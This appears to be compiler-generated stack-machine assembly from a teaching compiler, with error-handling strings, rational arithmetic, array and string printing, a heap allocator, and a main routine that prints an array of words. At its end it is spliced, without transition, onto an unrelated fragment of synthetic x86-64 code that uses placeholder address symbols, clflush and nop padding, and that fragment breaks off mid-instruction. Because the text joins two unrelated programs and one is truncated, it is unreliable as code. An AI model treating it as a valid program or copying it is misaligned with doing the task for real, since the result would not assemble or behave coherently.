DataC 101 DataC 114 DataC 32 DataC 100 DataC 105 DataC 118 DataC 105 DataC 100 DataC 101 DataC 32 DataC 98 DataC 121 DataC 32 DataC 122 DataC 101 DataC 114 DataC 111 DataC 0 Label $$i-divide-by-zero PushD $errors-int-divide-by-zero Jump $$general-runtime-error DLabel $errors-float-divide-by-zero DataC 102 %% "float divide by zero" DataC 108 DataC 111 DataC 97 DataC 116 DataC 32 DataC 100 DataC 105 DataC 118 DataC 105 DataC 100 DataC 101 DataC 32 DataC 98 DataC 121 DataC 32 DataC 122 DataC 101 DataC 114 DataC 111 DataC 0 Label $$f-divide-by-zero PushD $errors-float-divide-by-zero Jump $$general-runtime-error DLabel $null-array-runtime-error DataC 110 %% "null array" DataC 117 DataC 108 DataC 108 DataC 32 DataC 97 DataC 114 DataC 114 DataC 97 DataC 121 DataC 0 Label $$null-array PushD $null-array-runtime-error Jump $$general-runtime-error DLabel $index-out-of-bound-error DataC 97 %% "array index out of bound" DataC 114 DataC 114 DataC 97 DataC 121 DataC 32 DataC 105 DataC 110 DataC 100 DataC 101 DataC 120 DataC 32 DataC 111 DataC 117 DataC 116 DataC 32 DataC 111 DataC 102 DataC 32 DataC 98 DataC 111 DataC 117 DataC 110 DataC 100 DataC 0 Label $$index-out-of-bound PushD $index-out-of-bound-error Jump $$general-runtime-error DLabel $zero-denominator-error DataC 111 %% "over zero denominator" DataC 118 DataC 101 DataC 114 DataC 32 DataC 122 DataC 101 DataC 114 DataC 111 DataC 32 DataC 100 DataC 101 DataC 110 DataC 111 DataC 109 DataC 105 DataC 110 DataC 97 DataC 116 DataC 111 DataC 114 DataC 0 Label $$over-zero-denominator PushD $zero-denominator-error Jump $$general-runtime-error DLabel $expressover-divide-by-zero DataC 101 %% "expressover divide by zero" DataC 120 DataC 112 DataC 114 DataC 101 DataC 115 DataC 115 DataC 111 DataC 118 DataC 101 DataC 114 DataC 32 DataC 100 DataC 105 DataC 118 DataC 105 DataC 100 DataC 101 DataC 32 DataC 98 DataC 121 DataC 32 DataC 122 DataC 101 DataC 114 DataC 111 DataC 0 Label $$rational-expressover-divide-by-zero PushD $expressover-divide-by-zero Jump $$general-runtime-error DLabel $rationalize-divide-by-zero DataC 114 %% "rationalize divide by zero" DataC 97 DataC 116 DataC 105 DataC 111 DataC 110 DataC 97 DataC 108 DataC 105 DataC 122 DataC 101 DataC 32 DataC 100 DataC 105 DataC 118 DataC 105 DataC 100 DataC 101 DataC 32 DataC 98 DataC 121 DataC 32 DataC 122 DataC 101 DataC 114 DataC 111 DataC 0 Label $$rationalize-divide-by-zero PushD $rationalize-divide-by-zero Jump $$general-runtime-error DLabel $negative-array-length DataC 110 %% "negative array length" DataC 101 DataC 103 DataC 97 DataC 116 DataC 105 DataC 118 DataC 101 DataC 32 DataC 97 DataC 114 DataC 114 DataC 97 DataC 121 DataC 32 DataC 108 DataC 101 DataC 110 DataC 103 DataC 116 DataC 104 DataC 0 Label $$negative-length-array PushD $negative-array-length Jump $$general-runtime-error DLabel $null-string-runtime-error DataC 110 %% "null string" DataC 117 DataC 108 DataC 108 DataC 32 DataC 115 DataC 116 DataC 114 DataC 105 DataC 110 DataC 103 DataC 0 Label $$null-string PushD $null-string-runtime-error Jump $$general-runtime-error DLabel $no-return DataC 110 %% "no return" DataC 111 DataC 32 DataC 114 DataC 101 DataC 116 DataC 117 DataC 114 DataC 110 DataC 0 Label $$no return PushD $no-return Jump $$general-runtime-error DLabel $a-indexing-array DataZ 4 DLabel $a-indexing-index DataZ 4 DLabel $express-over-denominator DataZ 4 DLabel $rational-denominator-temp DataZ 4 DLabel $rational-numerator-temp DataZ 4 DLabel $rational-denominator-temp2 DataZ 4 DLabel $rational-numerator-temp2 DataZ 4 DLabel $rational-print-integer-part DataZ 4 DLabel $rational-print-remainder DataZ 4 DLabel $rational-print-sign DataZ 4 DLabel $record-creation-temp DataZ 4 DLabel $array-datasize-temp DataZ 4 DLabel $array-identifier-temp DataZ 4 DLabel $array-status-temp DataZ 4 DLabel $array-subtype-size-temp DataZ 4 DLabel $array-length-temp DataZ 4 DLabel $array-element-temp DataZ 4 DLabel $cloned-array-temp DataZ 4 DLabel $print-string-temp DataZ 4 DLabel $print-string-length DataZ 4 DLabel $frame-pointer DataZ 4 DLabel $stack-pointer DataZ 4 Label $lowest-term-subroutine DLabel $lowest-term-return DataZ 4 PushD $lowest-term-return Exchange StoreI Duplicate JumpFalse $$over-zero-denominator DLabel $lowest-term-denominator DataZ 4 DLabel $lowest-term-numerator DataZ 4 DLabel $lowest-term-gcd DataZ 4 DLabel $lowest-term-tmpa DataZ 4 DLabel $lowest-term-tmpb DataZ 4 PushD $lowest-term-denominator Exchange StoreI PushD $lowest-term-numerator Exchange StoreI PushD $lowest-term-numerator LoadI PushD $lowest-term-denominator LoadI Subtract JumpNeg -lowest-term-subroutine-1-exchange PushD $lowest-term-numerator LoadI PushD $lowest-term-denominator LoadI Jump -lowest-term-subroutine-1-loop-start Label -lowest-term-subroutine-1-exchange PushD $lowest-term-denominator LoadI PushD $lowest-term-numerator LoadI Label -lowest-term-subroutine-1-loop-start PushD $lowest-term-tmpb Exchange StoreI PushD $lowest-term-tmpa Exchange StoreI PushD $lowest-term-tmpa LoadI PushD $lowest-term-tmpb LoadI Duplicate JumpFalse -lowest-term-subroutine-1-end Remainder PushD $lowest-term-tmpb LoadI Exchange Jump -lowest-term-subroutine-1-loop-start Label -lowest-term-subroutine-1-end Pop PushD $lowest-term-gcd Exchange StoreI PushD $lowest-term-numerator LoadI PushD $lowest-term-gcd LoadI Divide PushD $lowest-term-denominator LoadI PushD $lowest-term-gcd LoadI Divide PushD $lowest-term-return LoadI Return Label $clear-n-bytes-subroutine DLabel $clear-n-bytes-return-address DataZ 4 PushD $clear-n-bytes-return-address Exchange StoreI DLabel $clear-n-bytes-element-size DataZ 4 PushD $clear-n-bytes-element-size Exchange StoreI DLabel $clear-n-bytes-element-addr DataZ 4 PushD $clear-n-bytes-element-addr Exchange StoreI Label -clear-n-bytes-subroutine-2-loop-start PushD $clear-n-bytes-element-size LoadI JumpFalse -clear-n-bytes-subroutine-2-end PushI 0 PushD $clear-n-bytes-element-addr Exchange StoreC PushI 1 PushD $clear-n-bytes-element-addr LoadI Add PushD $clear-n-bytes-element-addr Exchange StoreI PushI -1 PushD $clear-n-bytes-element-size LoadI Add PushD $clear-n-bytes-element-size Exchange StoreI Jump -clear-n-bytes-subroutine-2-loop-start Label -clear-n-bytes-subroutine-2-end PushD $clear-n-bytes-return-address LoadI Return Label $print-array-subroutine DLabel -print-array-recursive-3-return-address DataZ 4 PushD -print-array-recursive-3-return-address Exchange StoreI DLabel -print-array-recursive-3-type DataZ 4 PushD -print-array-recursive-3-type Exchange StoreI DLabel -print-array-recursive-3-element DataZ 4 DLabel -print-array-recursive-3-length DataZ 4 DLabel -print-array-recursive-3-elem-size DataZ 4 Duplicate JumpFalse $$null-array Duplicate Duplicate Duplicate PushI 16 Add PushD -print-array-recursive-3-element Exchange StoreI PushI 12 Add LoadI PushD -print-array-recursive-3-length Exchange StoreI PushI 8 Add LoadI PushD -print-array-recursive-3-elem-size Exchange StoreI PushD $open-bracket-string PushD $print-format-string Printf Duplicate PushI 4 Add LoadI PushI 2 BTAnd JumpFalse -print-array-recursive-3-one-dim Label -print-array-recursive-3-loop-start PushD -print-array-recursive-3-length LoadI JumpFalse -print-array-recursive-3-end PushD -print-array-recursive-3-return-address LoadI PushD -print-array-recursive-3-type LoadI PushD -print-array-recursive-3-element LoadI PushD -print-array-recursive-3-length LoadI PushD -print-array-recursive-3-elem-size LoadI PushD -print-array-recursive-3-element LoadI LoadI Duplicate PushI 0 Add LoadI PushI 6 Subtract JumpFalse -print-array-recursive-3-one-dim PushD -print-array-recursive-3-type LoadI Call $print-array-subroutine PushD -print-array-recursive-3-elem-size Exchange StoreI PushD -print-array-recursive-3-length Exchange StoreI PushD -print-array-recursive-3-element Exchange StoreI PushD -print-array-recursive-3-type Exchange StoreI PushD -print-array-recursive-3-return-address Exchange StoreI PushD -print-array-recursive-3-elem-size LoadI PushD -print-array-recursive-3-element LoadI Add PushD -print-array-recursive-3-element Exchange StoreI PushI -1 PushD -print-array-recursive-3-length LoadI Add PushD -print-array-recursive-3-length Exchange StoreI PushD -print-array-recursive-3-length LoadI PushI 0 Subtract JumpFalse -print-array-recursive-3-loop-start PushD $comma-string PushD $print-format-string Printf PushD $print-format-space PushD $print-format-string Printf Jump -print-array-recursive-3-loop-start Label -print-array-recursive-3-one-dim Label -print-array-recursive-3-loop-start-2 PushD -print-array-recursive-3-length LoadI JumpFalse -print-array-recursive-3-end PushD -print-array-recursive-3-element LoadI PushD -print-array-recursive-3-type LoadI PushI 1 Subtract JumpFalse -print-array-recursive-3-int-label PushD -print-array-recursive-3-type LoadI PushI 2 Subtract JumpFalse -print-array-recursive-3-float-label PushD -print-array-recursive-3-type LoadI PushI 3 Subtract JumpFalse -print-array-recursive-3-char-label PushD -print-array-recursive-3-type LoadI PushI 4 Subtract JumpFalse -print-array-recursive-3-string-label PushD -print-array-recursive-3-type LoadI PushI 5 Subtract JumpFalse -print-array-recursive-3-rat-label PushD -print-array-recursive-3-type LoadI PushI 6 Subtract JumpFalse -print-array-recursive-3-bool-label Label -print-array-recursive-3-int-label LoadI PushD $print-format-integer Printf Jump -print-array-recursive-3-join-label Label -print-array-recursive-3-float-label LoadF PushD $print-format-floating Printf Jump -print-array-recursive-3-join-label Label -print-array-recursive-3-char-label LoadC PushD $print-format-character Printf Jump -print-array-recursive-3-join-label Label -print-array-recursive-3-rat-label Duplicate LoadI Exchange PushI 4 Add LoadI Call $print-rational Jump -print-array-recursive-3-join-label Label -print-array-recursive-3-bool-label LoadC Call $convert-to-string-if-bool-subroutine PushD $print-format-boolean Printf Jump -print-array-recursive-3-join-label Label -print-array-recursive-3-string-label LoadI Call $print-string Jump -print-array-recursive-3-join-label Label -print-array-recursive-3-join-label PushD -print-array-recursive-3-elem-size LoadI PushD -print-array-recursive-3-element LoadI Add PushD -print-array-recursive-3-element Exchange StoreI PushI -1 PushD -print-array-recursive-3-length LoadI Add PushD -print-array-recursive-3-length Exchange StoreI PushD -print-array-recursive-3-length LoadI PushI 0 Subtract JumpFalse -print-array-recursive-3-loop-start-2 PushD $comma-string PushD $print-format-string Printf PushD $print-format-space PushD $print-format-string Printf Jump -print-array-recursive-3-loop-start-2 Label -print-array-recursive-3-end PushD $close-bracket-string PushD $print-format-string Printf PushD -print-array-recursive-3-return-address LoadI Return Label $print-rational DLabel $print-rational-return-address DataZ 4 PushD $print-rational-return-address Exchange StoreI PushI 1 PushD $rational-print-sign Exchange StoreI Duplicate JumpFalse $$over-zero-denominator Duplicate JumpPos -print-rational-4-denominator-pos PushD $rational-print-sign LoadI Negate PushD $rational-print-sign Exchange StoreI Negate Label -print-rational-4-denominator-pos PushD $rational-denominator-temp Exchange StoreI Duplicate Duplicate JumpFalse -print-rational-4-zero-numerator JumpPos -print-rational-4-numerator-pos PushD $rational-print-sign LoadI Negate PushD $rational-print-sign Exchange StoreI Negate Label -print-rational-4-numerator-pos PushD $rational-numerator-temp Exchange StoreI PushD $rational-numerator-temp LoadI PushD $rational-denominator-temp LoadI Remainder PushD $rational-numerator-temp LoadI PushD $rational-denominator-temp LoadI Divide PushD $rational-print-integer-part Exchange StoreI PushD $rational-print-remainder Exchange StoreI PushD $rational-print-remainder LoadI PushD $rational-print-integer-part LoadI PushD $rational-print-sign LoadI JumpPos -print-rational-4-rational-pos PushD $minus-sign-string PushD $print-format-string Printf Label -print-rational-4-rational-pos JumpFalse -print-rational-4-fraction PushD $rational-print-integer-part LoadI PushD $print-format-integer Printf Label -print-rational-4-fraction JumpFalse -print-rational-4-end PushD $dash-string PushD $print-format-string Printf PushD $rational-print-remainder LoadI PushD $print-format-integer Printf PushD $divide-sign-string PushD $print-format-string Printf PushD $rational-denominator-temp LoadI PushD $print-format-integer Printf Jump -print-rational-4-end Label -print-rational-4-zero-numerator PushD $print-format-integer Printf Pop Label -print-rational-4-end PushD $print-rational-return-address LoadI Return Label $print-string DLabel $print-string-return-address DataZ 4 PushD $print-string-return-address Exchange StoreI Duplicate JumpFalse $$null-string Duplicate PushI 12 Add PushD $print-string-temp Exchange StoreI PushI 8 Add LoadI PushD $print-string-length Exchange StoreI Label -print-string-5-loop-start PushD $print-string-length LoadI JumpFalse -print-string-5-end PushD $print-string-temp LoadI LoadC PushD $print-format-character Printf PushI 1 PushD $print-string-temp LoadI Add PushD $print-string-temp Exchange StoreI PushI -1 PushD $print-string-length LoadI Add PushD $print-string-length Exchange StoreI Jump -print-string-5-loop-start Label -print-string-5-end PushD $print-string-return-address LoadI Return Label $convert-to-string-if-bool-subroutine DLabel $convert-to-string-if-bool-return-address DataZ 4 PushD $convert-to-string-if-bool-return-address Exchange StoreI JumpTrue -print-boolean-6-true PushD $boolean-false-string Jump -print-boolean-6-join Label -print-boolean-6-true PushD $boolean-true-string Label -print-boolean-6-join PushD $convert-to-string-if-bool-return-address LoadI Return DLabel -release-record-7-length DataZ 4 DLabel -release-record-7-element-size DataZ 4 DLabel -release-record-7-element DataZ 4 Label $release-record DLabel $release-record-return-address DataZ 4 PushD $release-record-return-address Exchange StoreI Duplicate PushI 4 Add LoadI Duplicate Duplicate PushI 4 BTAnd JumpTrue -release-record-7-end PushI 8 BTAnd JumpTrue -release-record-7-end PushI 2 BTAnd JumpFalse -release-record-7-release Duplicate PushI 0 Add LoadI PushI 6 Subtract JumpFalse -release-record-7-string-record Duplicate Duplicate PushI 12 Add LoadI PushD -release-record-7-length Exchange StoreI PushI 8 Add LoadI PushD -release-record-7-element-size Exchange StoreI PushI 16 Add PushD -release-record-7-element Exchange StoreI Jump -release-record-7-join Label -release-record-7-string-record Duplicate PushI 8 Add LoadI PushD -release-record-7-length Exchange StoreI PushI 1 PushD -release-record-7-element-size Exchange StoreI PushI 12 Add PushD -release-record-7-element Exchange StoreI Label -release-record-7-join Label -release-record-7-loop-start PushD -release-record-7-length LoadI JumpFalse -release-record-7-end PushD -release-record-7-element LoadI PushD -release-record-7-length LoadI PushD -release-record-7-element-size LoadI PushD $release-record-return-address LoadI PushD -release-record-7-element LoadI LoadI Call $release-record PushD $release-record-return-address Exchange StoreI PushD -release-record-7-element-size Exchange StoreI PushD -release-record-7-length Exchange StoreI PushD -release-record-7-element Exchange StoreI PushD -release-record-7-element-size LoadI PushD -release-record-7-element LoadI Add PushD -release-record-7-element Exchange StoreI PushI -1 PushD -release-record-7-length LoadI Add PushD -release-record-7-length Exchange StoreI Jump -release-record-7-loop-start Label -release-record-7-release Duplicate Duplicate PushI 4 Add LoadI PushI 4 Add Exchange PushI 4 Add Exchange StoreI Call -mem-manager-deallocate Label -release-record-7-end PushD $release-record-return-address LoadI Return Label $subtract-rational DLabel $subtract-rational-return-address DataZ 4 PushD $subtract-rational-return-address Exchange StoreI PushD $rational-denominator-temp2 Exchange StoreI PushD $rational-numerator-temp2 Exchange StoreI PushD $rational-denominator-temp Exchange StoreI PushD $rational-numerator-temp Exchange StoreI PushD $rational-denominator-temp LoadI PushD $rational-denominator-temp2 LoadI Multiply PushD $rational-denominator-temp2 LoadI PushD $rational-numerator-temp LoadI Multiply PushD $rational-denominator-temp LoadI PushD $rational-numerator-temp2 LoadI Multiply Subtract Exchange Call $lowest-term-subroutine PushD $subtract-rational-return-address LoadI Return DLabel $usable-memory-start DLabel $global-memory-block DataZ 4 Label $$main Memtop PushD $stack-pointer Exchange StoreI Memtop PushD $frame-pointer Exchange StoreI PushD $global-memory-block PushI 0 Add %% goat PushI 4 PushI 6 Multiply PushI 16 Add Call -mem-manager-allocate PushD $record-creation-temp Exchange StoreI PushI 7 PushD $record-creation-temp LoadI PushI 0 Add Exchange StoreI PushI 2 PushD $record-creation-temp LoadI PushI 4 Add Exchange StoreI PushI 6 PushD $record-creation-temp LoadI PushI 12 Add Exchange StoreI PushI 4 PushD $record-creation-temp LoadI PushI 8 Add Exchange StoreI DLabel -populate-creation-8-elemAddr DataZ 4 PushD $record-creation-temp LoadI Duplicate PushI 16 Add PushD -populate-creation-8-elemAddr Exchange StoreI PushD -populate-creation-8-elemAddr LoadI PushI 3 PushI 1 Add PushI 12 Add Call -mem-manager-allocate PushD $record-creation-temp Exchange StoreI PushI 6 PushD $record-creation-temp LoadI PushI 0 Add Exchange StoreI PushI 9 PushD $record-creation-temp LoadI PushI 4 Add Exchange StoreI PushI 3 PushD $record-creation-temp LoadI PushI 8 Add Exchange StoreI PushI 0 PushD $record-creation-temp LoadI PushI 15 Add Exchange StoreC PushI 84 PushD $record-creation-temp LoadI PushI 12 Add Exchange StoreC PushI 111 PushD $record-creation-temp LoadI PushI 13 Add Exchange StoreC PushI 109 PushD $record-creation-temp LoadI PushI 14 Add Exchange StoreC PushD $record-creation-temp LoadI StoreI PushI 4 PushD -populate-creation-8-elemAddr LoadI Add PushD -populate-creation-8-elemAddr Exchange StoreI PushD -populate-creation-8-elemAddr LoadI PushI 1 PushI 1 Add PushI 12 Add Call -mem-manager-allocate PushD $record-creation-temp Exchange StoreI PushI 6 PushD $record-creation-temp LoadI PushI 0 Add Exchange StoreI PushI 9 PushD $record-creation-temp LoadI PushI 4 Add Exchange StoreI PushI 1 PushD $record-creation-temp LoadI PushI 8 Add Exchange StoreI PushI 0 PushD $record-creation-temp LoadI PushI 13 Add Exchange StoreC PushI 32 PushD $record-creation-temp LoadI PushI 12 Add Exchange StoreC PushD $record-creation-temp LoadI StoreI PushI 4 PushD -populate-creation-8-elemAddr LoadI Add PushD -populate-creation-8-elemAddr Exchange StoreI PushD -populate-creation-8-elemAddr LoadI PushI 5 PushI 1 Add PushI 12 Add Call -mem-manager-allocate PushD $record-creation-temp Exchange StoreI PushI 6 PushD $record-creation-temp LoadI PushI 0 Add Exchange StoreI PushI 9 PushD $record-creation-temp LoadI PushI 4 Add Exchange StoreI PushI 5 PushD $record-creation-temp LoadI PushI 8 Add Exchange StoreI PushI 0 PushD $record-creation-temp LoadI PushI 17 Add Exchange StoreC PushI 108 PushD $record-creation-temp LoadI PushI 12 Add Exchange StoreC PushI 105 PushD $record-creation-temp LoadI PushI 13 Add Exchange StoreC PushI 107 PushD $record-creation-temp LoadI PushI 14 Add Exchange StoreC PushI 101 PushD $record-creation-temp LoadI PushI 15 Add Exchange StoreC PushI 115 PushD $record-creation-temp LoadI PushI 16 Add Exchange StoreC PushD $record-creation-temp LoadI StoreI PushI 4 PushD -populate-creation-8-elemAddr LoadI Add PushD -populate-creation-8-elemAddr Exchange StoreI PushD -populate-creation-8-elemAddr LoadI PushI 1 PushI 1 Add PushI 12 Add Call -mem-manager-allocate PushD $record-creation-temp Exchange StoreI PushI 6 PushD $record-creation-temp LoadI PushI 0 Add Exchange StoreI PushI 9 PushD $record-creation-temp LoadI PushI 4 Add Exchange StoreI PushI 1 PushD $record-creation-temp LoadI PushI 8 Add Exchange StoreI PushI 0 PushD $record-creation-temp LoadI PushI 13 Add Exchange StoreC PushI 32 PushD $record-creation-temp LoadI PushI 12 Add Exchange StoreC PushD $record-creation-temp LoadI StoreI PushI 4 PushD -populate-creation-8-elemAddr LoadI Add PushD -populate-creation-8-elemAddr Exchange StoreI PushD -populate-creation-8-elemAddr LoadI PushI 4 PushI 1 Add PushI 12 Add Call -mem-manager-allocate PushD $record-creation-temp Exchange StoreI PushI 6 PushD $record-creation-temp LoadI PushI 0 Add Exchange StoreI PushI 9 PushD $record-creation-temp LoadI PushI 4 Add Exchange StoreI PushI 4 PushD $record-creation-temp LoadI PushI 8 Add Exchange StoreI PushI 0 PushD $record-creation-temp LoadI PushI 16 Add Exchange StoreC PushI 99 PushD $record-creation-temp LoadI PushI 12 Add Exchange StoreC PushI 111 PushD $record-creation-temp LoadI PushI 13 Add Exchange StoreC PushI 108 PushD $record-creation-temp LoadI PushI 14 Add Exchange StoreC PushI 97 PushD $record-creation-temp LoadI PushI 15 Add Exchange StoreC PushD $record-creation-temp LoadI StoreI PushI 4 PushD -populate-creation-8-elemAddr LoadI Add PushD -populate-creation-8-elemAddr Exchange StoreI PushD -populate-creation-8-elemAddr LoadI PushI 1 PushI 1 Add PushI 12 Add Call -mem-manager-allocate PushD $record-creation-temp Exchange StoreI PushI 6 PushD $record-creation-temp LoadI PushI 0 Add Exchange StoreI PushI 9 PushD $record-creation-temp LoadI PushI 4 Add Exchange StoreI PushI 1 PushD $record-creation-temp LoadI PushI 8 Add Exchange StoreI PushI 0 PushD $record-creation-temp LoadI PushI 13 Add Exchange StoreC PushI 46 PushD $record-creation-temp LoadI PushI 12 Add Exchange StoreC PushD $record-creation-temp LoadI StoreI PushI 4 PushD -populate-creation-8-elemAddr LoadI Add PushD -populate-creation-8-elemAddr Exchange StoreI StoreI PushD $global-memory-block PushI 0 Add %% goat LoadI PushI 4 Call $print-array-subroutine PushD $print-format-newline Printf Halt Label -mem-manager-make-tags DLabel $mmgr-tags-size DataZ 4 DLabel $mmgr-tags-start DataZ 4 DLabel $mmgr-tags-available DataZ 4 DLabel $mmgr-tags-nextptr DataZ 4 DLabel $mmgr-tags-prevptr DataZ 4 DLabel $mmgr-tags-return DataZ 4 PushD $mmgr-tags-return Exchange StoreI PushD $mmgr-tags-size Exchange StoreI PushD $mmgr-tags-start Exchange StoreI PushD $mmgr-tags-available Exchange StoreI PushD $mmgr-tags-nextptr Exchange StoreI PushD $mmgr-tags-prevptr Exchange StoreI PushD $mmgr-tags-prevptr LoadI PushD $mmgr-tags-size LoadI PushD $mmgr-tags-available LoadI PushD $mmgr-tags-start LoadI Call -mem-manager-one-tag PushD $mmgr-tags-nextptr LoadI PushD $mmgr-tags-size LoadI PushD $mmgr-tags-available LoadI PushD $mmgr-tags-start LoadI Duplicate PushI 4 Add LoadI Add PushI 9 Subtract Call -mem-manager-one-tag PushD $mmgr-tags-return LoadI Return Label -mem-manager-one-tag DLabel $mmgr-onetag-return DataZ 4 DLabel $mmgr-onetag-location DataZ 4 DLabel $mmgr-onetag-available DataZ 4 DLabel $mmgr-onetag-size DataZ 4 DLabel $mmgr-onetag-pointer DataZ 4 PushD $mmgr-onetag-return Exchange StoreI PushD $mmgr-onetag-location Exchange StoreI PushD $mmgr-onetag-available Exchange StoreI PushD $mmgr-onetag-size Exchange StoreI PushD $mmgr-onetag-location LoadI PushI 0 Add Exchange StoreI PushD $mmgr-onetag-size LoadI PushD $mmgr-onetag-location LoadI PushI 4 Add Exchange StoreI PushD $mmgr-onetag-available LoadI PushD $mmgr-onetag-location LoadI PushI 8 Add Exchange StoreC PushD $mmgr-onetag-return LoadI Return Label -mem-manager-allocate DLabel $mmgr-alloc-return DataZ 4 DLabel $mmgr-alloc-size DataZ 4 DLabel $mmgr-alloc-current-block DataZ 4 DLabel $mmgr-alloc-remainder-block DataZ 4 DLabel $mmgr-alloc-remainder-size DataZ 4 PushD $mmgr-alloc-return Exchange StoreI PushI 18 Add PushD $mmgr-alloc-size Exchange StoreI PushD $heap-first-free LoadI PushD $mmgr-alloc-current-block Exchange StoreI Label -mmgr-alloc-process-current PushD $mmgr-alloc-current-block LoadI JumpFalse -mmgr-alloc-no-block-works Label -mmgr-alloc-test-block PushD $mmgr-alloc-current-block LoadI PushI 4 Add LoadI PushD $mmgr-alloc-size LoadI Subtract PushI 1 Add JumpPos -mmgr-alloc-found-block PushD $mmgr-alloc-current-block LoadI Duplicate PushI 4 Add LoadI Add PushI 9 Subtract PushI 0 Add LoadI PushD $mmgr-alloc-current-block Exchange StoreI Jump -mmgr-alloc-process-current Label -mmgr-alloc-found-block PushD $mmgr-alloc-current-block LoadI Call -mem-manager-remove-block PushD $mmgr-alloc-current-block LoadI PushI 4 Add LoadI PushD $mmgr-alloc-size LoadI Subtract PushI 26 Subtract JumpNeg -mmgr-alloc-return-userblock PushD $mmgr-alloc-current-block LoadI PushD $mmgr-alloc-size LoadI Add PushD $mmgr-alloc-remainder-block Exchange StoreI PushD $mmgr-alloc-size LoadI PushD $mmgr-alloc-current-block LoadI PushI 4 Add LoadI Exchange Subtract PushD $mmgr-alloc-remainder-size Exchange StoreI PushI 0 PushI 0 PushI 0 PushD $mmgr-alloc-current-block LoadI PushD $mmgr-alloc-size LoadI Call -mem-manager-make-tags PushI 0 PushI 0 PushI 1 PushD $mmgr-alloc-remainder-block LoadI PushD $mmgr-alloc-remainder-size LoadI Call -mem-manager-make-tags PushD $mmgr-alloc-remainder-block LoadI PushI 9 Add Call -mem-manager-deallocate Jump -mmgr-alloc-return-userblock Label -mmgr-alloc-no-block-works PushD $mmgr-alloc-size LoadI PushD $mmgr-newblock-size Exchange StoreI PushD $heap-after-ptr LoadI PushD $mmgr-newblock-block Exchange StoreI PushD $mmgr-newblock-size LoadI PushD $heap-after-ptr LoadI Add PushD $heap-after-ptr Exchange StoreI PushI 0 PushI 0 PushI 0 PushD $mmgr-newblock-block LoadI PushD $mmgr-newblock-size LoadI Call -mem-manager-make-tags PushD $mmgr-newblock-block LoadI PushD $mmgr-alloc-current-block Exchange StoreI Label -mmgr-alloc-return-userblock PushD $mmgr-alloc-current-block LoadI PushI 9 Add PushD $mmgr-alloc-return LoadI Return Label -mem-manager-deallocate DLabel $mmgr-dealloc-return DataZ 4 DLabel $mmgr-dealloc-block DataZ 4 PushD $mmgr-dealloc-return Exchange StoreI PushI 9 Subtract PushD $mmgr-dealloc-block Exchange StoreI PushD $heap-first-free LoadI JumpFalse -mmgr-bypass-firstFree PushD $mmgr-dealloc-block LoadI PushD $heap-first-free LoadI PushI 0 Add Exchange StoreI Label -mmgr-bypass-firstFree PushI 0 PushD $mmgr-dealloc-block LoadI PushI 0 Add Exchange StoreI PushD $heap-first-free LoadI PushD $mmgr-dealloc-block LoadI Duplicate PushI 4 Add LoadI Add PushI 9 Subtract PushI 0 Add Exchange StoreI PushI 1 PushD $mmgr-dealloc-block LoadI PushI 8 Add Exchange StoreC PushI 1 PushD $mmgr-dealloc-block LoadI Duplicate PushI 4 Add LoadI Add PushI 9 Subtract PushI 8 Add Exchange StoreC PushD $mmgr-dealloc-block LoadI PushD $heap-first-free Exchange StoreI PushD $mmgr-dealloc-return LoadI Return Label -mem-manager-remove-block DLabel $mmgr-remove-return DataZ 4 DLabel $mmgr-remove-block DataZ 4 DLabel $mmgr-remove-prev DataZ 4 DLabel $mmgr-remove-next DataZ 4 PushD $mmgr-remove-return Exchange StoreI PushD $mmgr-remove-block Exchange StoreI PushD $mmgr-remove-block LoadI PushI 0 Add LoadI PushD $mmgr-remove-prev Exchange StoreI PushD $mmgr-remove-block LoadI Duplicate PushI 4 Add LoadI Add PushI 9 Subtract PushI 0 Add LoadI PushD $mmgr-remove-next Exchange StoreI Label -mmgr-remove-process-prev PushD $mmgr-remove-prev LoadI JumpFalse -mmgr-remove-no-prev PushD $mmgr-remove-next LoadI PushD $mmgr-remove-prev LoadI Duplicate PushI 4 Add LoadI Add PushI 9 Subtract PushI 0 Add Exchange StoreI Jump -mmgr-remove-process-next Label -mmgr-remove-no-prev PushD $mmgr-remove-next LoadI PushD $heap-first-free Exchange StoreI Label -mmgr-remove-process-next PushD $mmgr-remove-next LoadI JumpFalse -mmgr-remove-done PushD $mmgr-remove-prev LoadI PushD $mmgr-remove-next LoadI PushI 0 Add Exchange StoreI Label -mmgr-remove-done PushD $mmgr-remove-return LoadI Return DLabel $heap-memory
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0xa4eb, %rsi lea addresses_normal_ht+0x182eb, %rdi nop nop nop nop nop cmp $32554, %r11 mov $41, %rcx rep movsl nop add %rcx, %rcx lea addresses_UC_ht+0x1b06b, %r8 nop nop nop nop nop xor $36951, %rbx mov (%r8), %r9w nop nop nop nop nop cmp $28738, %r11 lea addresses_WC_ht+0xd6eb, %rsi lea addresses_normal_ht+0x30eb, %rdi nop nop sub %r11, %r11 mov $54, %rcx rep movsb cmp %rsi, %rsi lea addresses_D_ht+0x1c2eb, %rsi lea addresses_UC_ht+0x22bd, %rdi inc %r12 mov $109, %rcx rep movsb nop nop nop nop nop and $17254, %r12 lea addresses_D_ht+0x1baeb, %rcx nop nop nop and $2048, %rsi mov $0x6162636465666768, %r12 movq %r12, %xmm3 movups %xmm3, (%rcx) nop nop sub %rcx, %rcx lea addresses_WC_ht+0x2bdb, %rdi clflush (%rdi) nop nop nop nop nop cmp %r9, %r9 movb $0x61, (%rdi) xor $60955, %r12 lea addresses_D_ht+0x13eeb, %rsi lea addresses_D_ht+0xd96b, %rdi nop nop xor %r12, %r12 mov $66, %rcx rep movsq sub %r11, %r11 lea addresses_D_ht+0xa58b, %rbx nop nop nop nop sub %rsi, %rsi movl $0x61626364, (%rbx) nop nop nop nop nop and $9781, %r8 lea addresses_D_ht+0x93cb, %r11 and $53290, %rsi movb $0x61, (%r11) nop nop nop nop nop and $52314, %rcx lea addresses_WT_ht+0x2deb, %rsi lea addresses_WT_ht+0xeeeb, %rdi clflush (%rsi) nop nop nop nop and $48000, %r12 mov $66, %rcx rep movsl nop nop nop nop nop sub %rbx, %rbx lea addresses_WT_ht+0x145ab, %rsi lea addresses_WC_ht+0x14a6b, %rdi nop nop nop nop nop sub %r9, %r9 mov $119, %rcx rep movsw nop nop nop nop cmp %r9, %r9 lea addresses_UC_ht+0x4703, %r8 clflush (%r8) nop nop nop nop cmp $22142, %rcx mov $0x6162636465666768, %r11 movq %r11, (%r8) nop sub $48463, %rcx lea addresses_UC_ht+0x1c63b, %rsi lea addresses_D_ht+0x11aeb, %rdi clflush (%rsi) nop nop nop nop and %r9, %r9 mov $18, %rcx rep movsw nop nop nop add %rbx, %rbx lea addresses_WT_ht+0x1693, %r12 